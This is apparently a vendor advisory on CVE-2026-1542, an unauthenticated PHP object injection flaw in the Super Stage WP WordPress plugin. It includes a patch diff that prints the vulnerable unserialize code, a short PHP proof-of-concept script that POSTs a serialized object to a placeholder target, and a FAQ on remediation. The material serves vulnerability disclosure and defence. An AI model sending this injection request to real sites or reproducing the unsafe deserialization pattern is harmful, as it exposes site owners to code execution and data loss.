Atomic Edge analysis of CVE-2026-1542:
The vulnerability exists in the Super Stage WP plugin’s bridge.php file. The root cause is the plugin’s deserialization of untrusted user input without proper validation. The bridge.php file at /wp-content/plugins/super-stage-wp/Staging/bridge/bridge.php accepts a base64-encoded serialized object via the ‘data’ POST/GET parameter. The decode_request_data() method directly passes this user-controlled data to PHP’s unserialize() function. This allows unauthenticated attackers to inject arbitrary PHP objects. The attack vector is direct access to the bridge.php file with a malicious ‘data’ parameter. The patch completely removes the vulnerable bridge.php functionality, replacing it with a simple die() statement that prevents direct file access. This eliminates the attack surface entirely. If exploited with a suitable POP chain, this vulnerability could lead to arbitrary file deletion, sensitive data exposure, or remote code execution on the target WordPress site.

CVE-2026-1542: Super Stage WP <= 1.0.1 – Unauthenticated PHP Object Injection (super-stage-wp)
CVE-2026-1542
super-stage-wp
1.0.1
1.0.2
Analysis Overview
Differential between vulnerable and patched code
--- a/super-stage-wp/ExcludeOption/HooksHandler.php
+++ b/super-stage-wp/ExcludeOption/HooksHandler.php
@@ -125,4 +125,4 @@
$this->ExcludeOption->get_all_excluded_files();
}
-}
+}
No newline at end of file
--- a/super-stage-wp/Staging/Hooks.php
+++ b/super-stage-wp/Staging/Hooks.php
@@ -56,4 +56,4 @@
add_filter('set_options_to_staging_site_wpss', array($this->hooks_handler_obj, 'set_options_to_staging_site'), 10, 2);
}
-}
+}
No newline at end of file
--- a/super-stage-wp/Staging/HooksHandler.php
+++ b/super-stage-wp/Staging/HooksHandler.php
@@ -9,7 +9,6 @@
$this->config = WPSS_Factory::get('config');
}
-
public function init_staging_wpss_h(){
wpss_log(array(), '-----------init_staging_wpss_h-------------');
$this->staging->init_staging_wpss_h(true);
@@ -93,7 +92,6 @@
wp_enqueue_script('wpss-staging', plugins_url() . '/' . WPSS_TC_PLUGIN_NAME . '/Staging/init.js', array(), WPSS_VERSION);
}
-
public function continue_staging() {
WPSS_Base_Factory::get('WPSS_App_Functions')->verify_ajax_requests();
@@ -103,6 +101,7 @@
public function start_fresh_staging() {
wpss_log($_POST, "--------" . __FUNCTION__ . "--------");
+
WPSS_Base_Factory::get('WPSS_App_Functions')->verify_ajax_requests();
if (empty($_POST['path'])) {
@@ -115,12 +114,14 @@
}
$this->config->set_option('site_type', 'prod');
+
return $this->staging->choose_action($_POST['path'], $reqeust_type = 'fresh');
}
public function copy_staging() {
WPSS_Base_Factory::get('WPSS_App_Functions')->verify_ajax_requests();
+
$this->config->set_option('site_type', 'prod');
return $this->staging->choose_action(false, $reqeust_type = 'copy');
@@ -168,6 +169,7 @@
$internal_staging_deep_link_limit = ($internal_staging_deep_link_limit) ? $internal_staging_deep_link_limit : WPSS_STAGING_DEFAULT_DEEP_LINK_REPLACE_LIMIT ;
$enable_admin_login = $this->config->get_option('internal_staging_enable_admin_login');
+
if ($enable_admin_login === 'yes') {
$enable_admin_login = 'checked="checked"';
$disable_admin_login = '';
@@ -299,7 +301,6 @@
</fieldset>
</td>
</tr>
-
<tr>
<th scope="row">
<label>Load Images from the Live Site</label>
@@ -348,4 +349,4 @@
}
}
-}
+}
No newline at end of file
--- a/super-stage-wp/Staging/bridge/bridge.php
+++ b/super-stage-wp/Staging/bridge/bridge.php
@@ -1,86 +1,4 @@
<?php
-if (!isset($_REQUEST)) {
- $this->send_response(array('error' => "Request is missing"));
-}
-$bridge = new WPSS_Bridge($_REQUEST);
-$bridge->init();
-
-
-class WPSS_Bridge{
- protected $params;
- protected $secret_code_start;
- protected $secret_code_end;
- protected $options_obj;
- protected $staging_abspath;
- protected $meta_file_name;
-
- public function __construct($params){
- $this->params = $params;
- $this->secret_code_start = '<WPSSHEADER>';
- $this->secret_code_end = '</ENDWPSSHEADER>';
- $this->staging_abspath = $this->get_staging_abspath();
- $this->meta_file_name = $this->staging_abspath.'wp-tcapsule-bridge/wordpress-db_meta_data.sql';
- }
-
- public function get_staging_abspath(){
- return dirname(dirname(__FILE__)). '/';
- }
-
- public function init(){
- if (!isset($this->params['data'])) {
- $this->send_response(array('error' => "Request data is missing"));
- }
- $this->decode_request_data();
- $this->find_action();
- }
-
- public function decode_request_data(){
- $this->params = unserialize(base64_decode($this->params['data']));
- }
-
- public function find_action(){
- if (!isset($this->params['action'])){
- $this->send_response(array('error' => "could not find action"));
- }
- $this->define_constants();
- switch ($this->params['action']) {
- case 'update_in_staging':
- break;
- default:
- $this->send_response(array('error' => "action is not found"));
- }
- }
-
- public function define_constants(){
- if(!defined('WP_DEBUG')){
- define('WP_DEBUG', false);
- }
- if(!defined('WP_DEBUG_DISPLAY')){
- define('WP_DEBUG_DISPLAY', false);
- }
- }
-
- public function send_response($data){
- $response_data = $this->secret_code_start . base64_encode(serialize($data)) . $this->secret_code_end;
- die($response_data);
- }
-
- private function include_wp_config(){
- @include_once $this->staging_abspath.'wp-config.php';
- @include_once $this->staging_abspath.'wp-admin/includes/file.php';
- }
-
-
-
- private function initiate_filesystem_wpss() {
- $creds = request_filesystem_credentials("", "", false, false, null);
- if (false === $creds) {
- return false;
- }
-
- if (!WP_Filesystem($creds)) {
- return false;
- }
- }
-}
+die('You cannot access this file directly.');
+// This file is just a placeholder to prevent direct access to the "bridge" directory.
No newline at end of file
--- a/super-stage-wp/Staging/class-stage-common.php
+++ b/super-stage-wp/Staging/class-stage-common.php
@@ -115,12 +115,15 @@
$this->config->set_option('internal_staging_db_rows_copy_limit', $new_internal_staging_db_rows_copy_limit);
}
}
+
public function clone_table_content($table, $new_table, $limit, $offset){
while(true){
$inserted_rows = 0;
+
// exit;
wpss_manual_debug('', 'during_clone_table_staging_common_' .$table, 100);
+
$this_table_old_clone_status = $this->get_staging_tables_clone_new_status($new_table);
wpss_log($this_table_old_clone_status, "---------this_table_old_clone_status-------$new_table-----");
@@ -194,6 +197,7 @@
break;
}
}
+
if(is_wpss_timeout_cut()){
$this->processed_db->update_iterator($table, $offset);
wpss_die_with_json_encode( array('status' => 'continue', 'msg' => 'Cloning ' . $table . '(' . $offset . ')' , 'percentage' => 20) );
@@ -222,4 +226,4 @@
$this->logger->log($msg, $name, $id);
}
-}
+}
No newline at end of file
--- a/super-stage-wp/Staging/class-update-in-staging.php
+++ b/super-stage-wp/Staging/class-update-in-staging.php
@@ -23,6 +23,5 @@
private function init_staging_id(){
$this->staging_id = $this->staging_common->init_staging_id();
}
-
-}
+}
No newline at end of file
--- a/super-stage-wp/Staging/init.php
+++ b/super-stage-wp/Staging/init.php
@@ -606,6 +606,7 @@
return true;
}
+
return false;
}
@@ -1179,10 +1180,6 @@
return wpss_get_live_url() . '/' . $this->options->get_option('same_server_staging_path');
}
- public function same_server_staging_bridge_url(){
- return wpss_get_live_url() . '/' . $this->options->get_option('same_server_staging_path') . '/' . self::CLONE_TMP_FOLDER . '/' . 'bridge.php' ;
- }
-
public function save_staging_settings($data){
if (!empty($data['db_rows_clone_limit_wpss'])) {
@@ -1232,6 +1229,7 @@
} else{
$this->config->set_option('staging_login_custom_link', false);
}
+
}
@@ -1506,6 +1504,5 @@
return $this->wpdb->get_var(
$this->wpdb->prepare("SELECT name FROM " .$staging_prefix ."wpss_options WHERE name = %s", $name)
);
-
}
}
--- a/super-stage-wp/Staging/stage-to-live/includes/class-load-live-image.php
+++ b/super-stage-wp/Staging/stage-to-live/includes/class-load-live-image.php
@@ -33,10 +33,12 @@
$WPSS_LOCAL_UPLOADS_URL_WITHOUT_PROTOCOL = str_replace('https://', '//', $WPSS_LOCAL_UPLOADS_URL);
$WPSS_LOCAL_UPLOADS_URL_WITHOUT_PROTOCOL = str_replace('http://', '//', $WPSS_LOCAL_UPLOADS_URL_WITHOUT_PROTOCOL);
+
$local_site_url = get_home_url();
$WPSS_LOCAL_URL = $local_site_url;
$WPSS_PROD_UPLOADS_URL = str_replace($local_site_url, $WPSS_PROD_URL, $WPSS_LOCAL_UPLOADS_URL);
+
$WPSS_PROD_UPLOADS_URL_WITHOUT_PROTOCOL = str_replace('https://', '//', $WPSS_PROD_UPLOADS_URL);
$WPSS_PROD_UPLOADS_URL_WITHOUT_PROTOCOL = str_replace('http://', '//', $WPSS_PROD_UPLOADS_URL_WITHOUT_PROTOCOL);
}
@@ -46,6 +48,7 @@
public function fill_global_js_vars() {
wpss_log('', "--------fill_global_js_vars--------");
+
global $WPSS_SITE_TYPE;
global $WPSS_PROD_UPLOADS_URL;
global $WPSS_PROD_URL;
@@ -354,6 +357,7 @@
}
$hotlink_live_images_wpss = $this->config->get_option('load_images_from_live_site_settings');
+
wpss_log("", "--------admin_print_footer_scripts--------");
echo '<script type="text/javascript">
@@ -361,6 +365,7 @@
var WPSS_LOCAL_URL = "'.$WPSS_LOCAL_URL.'";
var WPSS_LOCAL_URL = "'.$WPSS_LOCAL_URL.'";
var HOTLINK_LIVE_IMAGES_WPSS = "'.$hotlink_live_images_wpss.'";
+
setTimeout(function(){ jQuery(".editor-writing-flow img").each(function(){
var srcAttr = jQuery(this).attr("src");
@@ -379,4 +384,4 @@
</script>';
}
-}
+}
No newline at end of file
--- a/super-stage-wp/Staging/stage-to-live/super-stage-wp-staging.php
+++ b/super-stage-wp/Staging/stage-to-live/super-stage-wp-staging.php
@@ -6,7 +6,7 @@
Author: Revmakx
Version: 1.0.0
Author URI: http://www.revmakx.com
-Tested up to: 5.9.3
+Tested up to: 6.9
/************************************************************
* This plugin was modified by Revmakx
* Copyright (c) 2017 Revmakx
@@ -180,6 +180,7 @@
add_filter( 'wp_insert_attachment_data', array($load_live_image, 'wp_insert_attachment_data') );
add_filter('the_content', array($this, 'replace_relative_url_wpss'));
+
$this->add_admin_menu_hook();
}
@@ -212,7 +213,6 @@
private function add_admin_menu_hook(){
-
if ( is_multisite() ) {
add_action('network_admin_menu', array($this, 'add_admin_menu_new'));
} else{
@@ -353,4 +353,4 @@
}
}
-new WP_Super_Stage_Staging();
+new WP_Super_Stage_Staging();
No newline at end of file
--- a/super-stage-wp/Staging/stage-to-live/views/super-stage-wp-staging.php
+++ b/super-stage-wp/Staging/stage-to-live/views/super-stage-wp-staging.php
@@ -68,4 +68,4 @@
</div>
</div>
-</div>
+</div>
No newline at end of file
--- a/super-stage-wp/class-replace-db-links.php
+++ b/super-stage-wp/class-replace-db-links.php
@@ -121,6 +121,7 @@
wpss_log($all_other_domains, "--------all_other_domains-----$table_prefix---");
$same_server_staging_path = $this->config->get_option('same_server_staging_path');
+
foreach ($all_other_domains as $key => $value) {
$prepared_old_url = $value['domain'];
$prepared_new_url = $value['domain'] . '/' . $same_server_staging_path;
@@ -359,6 +360,7 @@
}
$this->update_staging_tables_replace_link_status($table, 'STARTED');
+
$page_size = $this->config->get_option('internal_staging_deep_link_limit');
if (empty($page_size)) {
@@ -384,9 +386,12 @@
}
if (empty($colList)) {
+
$this->update_staging_tables_replace_link_status($table, 'COMPLETED');
+
continue;
}
+
$colWhereList = $this->get_text_columns($table);
wpss_log($colWhereList, "--------colWhereList--array------");
@@ -425,17 +430,20 @@
wpss_log($pages, "--------pages--------");
$total_rows_completed_currently = 0;
+
//Paged Records
for ($page = $prev_table_data; $page < $pages; $page++) {
wpss_log($page, "--------current_page--------");
$current_row = 0;
+
$start = $page * $page_size;
// if($this_table_old_clone_status == 'STARTED'){
// $start = $start * 2;
// $this_table_old_clone_status = 'COMPLETED';
// }
+
$end = $start + $page_size;
$total_rows_completed_currently = $start;
@@ -452,10 +460,13 @@
// wpss_log($sql, "--------sql pages----to----");
$data = $this->wpdb->get_results($sql);
+
// wpss_log($data, "--------sql data-------");
wpss_log(count($data), "--------rows_count_to_replace--------");
+
if (empty($data)){
+
wpss_log('', "-------empty-sql data-------");
if($data === false){
@@ -487,6 +498,7 @@
if($total_rows_completed_currently < $prev_completed_rows){
continue;
}
+
foreach ($columns as $column => $primary_key) {
$report['scan_cells']++;
$edited_data = $data_to_fix = $row->$column;
@@ -573,12 +585,16 @@
$report['errkey'][] = sprintf("Row [%s] on Table [%s] requires a manual update.", $current_row, $table);
}
}
+
$this->update_replace_links_row_count_staging($table, $total_rows_completed_currently);
if($this->is_timedout(5)){
wpss_log($current_row, "-----timing out rows handled-----------");
+
$this->config->set_option('same_server_replace_url_multicall_status', serialize(array($table =>($page+1))));
+
$this->update_staging_tables_replace_link_status($table, 'COMPLETED');
+
$this->close_request(array('status' => 'continue', 'msg' => 'Replacing links - '. $table . '(' . $start . ')' , 'percentage' => 40));
}
@@ -587,6 +603,7 @@
if ($upd) {
$report['updt_tables']++;
}
+
$this->update_staging_tables_replace_link_status($table, 'COMPLETED');
}
}
@@ -1069,6 +1086,7 @@
if(file_put_contents($meta['new_path'] . '/wp-config-sample.php', $file_contents) === FALSE){
wptc_log(array(), '---------WP CONFIG SAMPLE NOT WRITABLE------------');
}
+
$lines = @file($meta['new_path'] . '/wp-config-sample.php');
}
@@ -1291,6 +1309,7 @@
return $file;
}
+
public function replace_htaccess($meta = array()){
wpss_log(func_get_args(), "--------" . __FUNCTION__ . "--------");
if (empty($meta)) {
@@ -1330,7 +1349,9 @@
} else {
$file = str_replace('RewriteCond %{HTTP_USER_AGENT} "^$" [NC,OR]', '#WPSS_MODIFIED_FOR_STAGING', $file);
}
+
// $file = $this->add_image_redirect_rules_on_htacces($file, $meta, $args, $string);
+
// WP Fastest Cache fix
$p_quote_old_url = preg_quote($meta['old_url'], '/');
--- a/super-stage-wp/super-stage-wp.php
+++ b/super-stage-wp/super-stage-wp.php
@@ -11,7 +11,7 @@
* Plugin Name: WP Super Stage
* Plugin URI: https://wpsuperstage.com
* Description: Instantly stage your WordPress Site.
- * Version: 1.0.1
+ * Version: 1.0.2
* Author: Revmakx
* Author URI: https://revmakx.com
* License: GPL-2.0+
@@ -76,4 +76,4 @@
include_once(WPSS_PLUGIN_DIR . '/Staging/class-stage-common.php');
include_once(WPSS_PLUGIN_DIR . '/Staging/class-update-in-staging.php');
-new WPSS_Init();
+new WPSS_Init();
No newline at end of file
--- a/super-stage-wp/uninstall.php
+++ b/super-stage-wp/uninstall.php
@@ -46,4 +46,4 @@
$wpdb->query("DROP TABLE IF EXISTS $table_name");
$table_name = $wpdb->base_prefix . 'wpss_local_site_new_attachments';
-$wpdb->query("DROP TABLE IF EXISTS $table_name");
+$wpdb->query("DROP TABLE IF EXISTS $table_name");
No newline at end of file
--- a/super-stage-wp/views/wpss-main-page.php
+++ b/super-stage-wp/views/wpss-main-page.php
@@ -56,5 +56,6 @@
</div>
</div>
+
<?php add_thickbox(); ?>
-</div>
+</div>
No newline at end of file
--- a/super-stage-wp/views/wpss-settings.php
+++ b/super-stage-wp/views/wpss-settings.php
@@ -17,7 +17,6 @@
<div id="wpss-content-id" style="display:none;"> <p> This is my hidden content! It will appear in ThickBox when the link is clicked. </p></div>
<a style="display:none" href="#TB_inline?width=600&height=550&inlineId=wpss-content-id" class="thickbox wpss-thickbox">View my inline content!</a>
-
<h2>Super Stage WP Settings</h2>
<form id="wpss-settingsform" action="#" method="post" onsubmit="return false;">
@@ -33,4 +32,4 @@
</p>
</form>
-</div>
+</div>
No newline at end of file
--- a/super-stage-wp/wpss-app-functions.php
+++ b/super-stage-wp/wpss-app-functions.php
@@ -814,7 +814,6 @@
$this->die_with_json_encode(array('status' => 'success'));
}
-
public function refresh_cached_paths(){
$this->config->delete_option('backup_db_path');
@@ -859,7 +858,6 @@
// WPSS_Base_Factory::get('WPSS_App_Functions')->register_Must_Use();
}
-
public function is_backup_request_timeout($return = false, $print_time = false) {
global $wpss_ajax_start_time;
@@ -948,7 +946,6 @@
return $report;
}
-
//Generate Random keys
private function generate_random_string($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
@@ -960,7 +957,6 @@
return $randomString;
}
-
public function truncate_activity_log(){
if ($this->wpdb->query("TRUNCATE TABLE `" . $this->wpdb->base_prefix . "wpss_activity_log`")) {
$this->die_with_json_encode(array('success' => true));
@@ -1022,7 +1018,6 @@
$this->wpdb->prefix . 'wpss_local_site_new_attachments',
);
-
$full_tables = array(
$this->wpdb->prefix . 'wpss_backups',
$this->wpdb->prefix . 'wpss_inc_exc_contents',
--- a/super-stage-wp/wpss-common-functions.php
+++ b/super-stage-wp/wpss-common-functions.php
@@ -774,7 +774,6 @@
return $auth_data[$get_param];
}
-
function initiate_filesystem_wpss() {
$is_admin_call = false;
if(is_admin()){
@@ -2097,4 +2096,4 @@
wpss_log('', $to_return);
return $to_return;
-}
+}
No newline at end of file
--- a/super-stage-wp/wpss-config.php
+++ b/super-stage-wp/wpss-config.php
@@ -593,7 +593,6 @@
return $tz_formatted_timestamp;
}
-
public function reset_plans(){
$this->set_option('plan_info', json_encode(array(), true));
$this->set_option('privileges_wpss', false);
--- a/super-stage-wp/wpss-constants.php
+++ b/super-stage-wp/wpss-constants.php
@@ -74,7 +74,7 @@
}
public function versions(){
- $this->define( 'WPSS_VERSION', '1.0.1' );
+ $this->define( 'WPSS_VERSION', '1.0.2' );
$this->define( 'WPSS_DATABASE_VERSION', '1.0' );
}
--- a/super-stage-wp/wpss-exclude-option.php
+++ b/super-stage-wp/wpss-exclude-option.php
@@ -1,3 +1,2 @@
<?php
-
--- a/super-stage-wp/wpss-init.php
+++ b/super-stage-wp/wpss-init.php
@@ -15,6 +15,7 @@
$staging_hooks = new WPSS_Staging_Hooks();
$staging_hooks->register_hooks();
+
$exclude_hooks = new WPSS_Exclude_Hooks();
$exclude_hooks->register_hooks();
}
@@ -130,6 +131,7 @@
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB " . $cachecollation . ";");
+
$table_name = $wpdb->base_prefix . 'wpss_local_site_new_attachments';
dbDelta("CREATE TABLE IF NOT EXISTS $table_name (
`id` int NOT NULL AUTO_INCREMENT,
@@ -193,8 +195,10 @@
var HOTLINK_LIVE_IMAGES_WPSS = "' . $hotlink_live_images_wpss . '";
</script>';
}
+
public function enque_js_files() {
$this->include_global_js_vars();
+
wp_enqueue_script('wpss-jquery-ui-custom-js', plugins_url('', __FILE__) . '/treeView/jquery-ui.custom.js', array(), WPSS_VERSION);
wp_enqueue_script('wpss-fancytree-js', plugins_url('', __FILE__) . '/treeView/jquery.fancytree.js', array(), WPSS_VERSION);
wp_enqueue_script('wpss-filetree-common-js', plugins_url('', __FILE__) . '/treeView/common.js', array(), WPSS_VERSION);
@@ -223,4 +227,4 @@
);
wp_localize_script( 'wpss-admin-js', 'wpss_ajax_object', $params );
}
-}
+}
No newline at end of file
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1542 - Super Stage WP <= 1.0.1 - Unauthenticated PHP Object Injection
<?php
$target_url = 'http://target.site/wp-content/plugins/super-stage-wp/Staging/bridge/bridge.php';
// Create a simple serialized object payload
// Note: This demonstrates the injection vector. A real exploit would require
// a POP chain gadget present in the target environment.
$malicious_object = new stdClass();
$malicious_object->injected = true;
$malicious_object->payload = 'test';
// Serialize and base64 encode as the plugin expects
$serialized = serialize($malicious_object);
$encoded = base64_encode($serialized);
// Prepare the request data
$post_data = ['data' => $encoded];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code === 200) {
echo "Vulnerable: Request succeeded. Plugin processed unserialize().n";
echo "Response preview: " . substr($response, 0, 200) . "n";
} else {
echo "Potentially patched: HTTP $http_code received.n";
}
?>
Frequently Asked Questions
What is CVE-2026-1542?
Understanding the vulnerabilityCVE-2026-1542 is a high-severity vulnerability in the Super Stage WP plugin for WordPress, which allows unauthenticated PHP Object Injection through the deserialization of untrusted input. This vulnerability can potentially enable attackers to execute arbitrary code or delete files if a suitable payload chain is present.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability exists in the bridge.php file of the Super Stage WP plugin, where user input is deserialized without proper validation. Attackers can send a specially crafted request containing a base64-encoded serialized object, which PHP will unserialize, allowing for the injection of arbitrary PHP objects.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using Super Stage WP plugin version 1.0.1 or earlier is affected by CVE-2026-1542. Administrators should check their plugin version and ensure it is updated to at least version 1.0.2 to mitigate the risk.
How can I check if my site is vulnerable?
Steps to verify plugin versionTo check if your site is vulnerable, log in to your WordPress admin dashboard, navigate to the ‘Plugins’ section, and locate the Super Stage WP plugin. Verify that the version listed is 1.0.1 or earlier; if so, your site is vulnerable.
How can I fix this vulnerability?
Updating the pluginThe recommended fix is to update the Super Stage WP plugin to version 1.0.2 or later, which addresses the vulnerability by removing the vulnerable functionality in bridge.php. Regularly check for updates to ensure ongoing security.
What does the CVSS score of 8.1 indicate?
Understanding risk levelsA CVSS score of 8.1 indicates a high severity level, meaning the vulnerability poses a significant risk to affected systems. This level suggests that exploitation could lead to serious consequences, including unauthorized access and data loss.
What is a PHP Object Injection (POI)?
Defining the attack vectorPHP Object Injection occurs when an application allows untrusted data to be deserialized into PHP objects. This can lead to various attacks, including code execution and data manipulation, depending on the application’s logic and the presence of additional vulnerabilities.
What is a Proof of Concept (PoC)?
Demonstrating the vulnerabilityA Proof of Concept for CVE-2026-1542 demonstrates how an attacker could exploit the vulnerability by sending a specially crafted request to the vulnerable bridge.php file. The PoC shows how to create a serialized object payload that could be injected, highlighting the risk of exploitation.
What are the potential consequences of exploitation?
Understanding the risksIf exploited, CVE-2026-1542 could allow attackers to execute arbitrary code, delete files, or exfiltrate sensitive data from the WordPress site. The severity of these consequences depends on the presence of additional vulnerabilities or misconfigurations in the environment.
Is there a way to mitigate the risk if I cannot update immediately?
Temporary measuresIf immediate updates cannot be applied, consider disabling the Super Stage WP plugin until the vulnerability is addressed. Additionally, review server access logs for any suspicious activity and implement security measures like firewalls to limit exposure.
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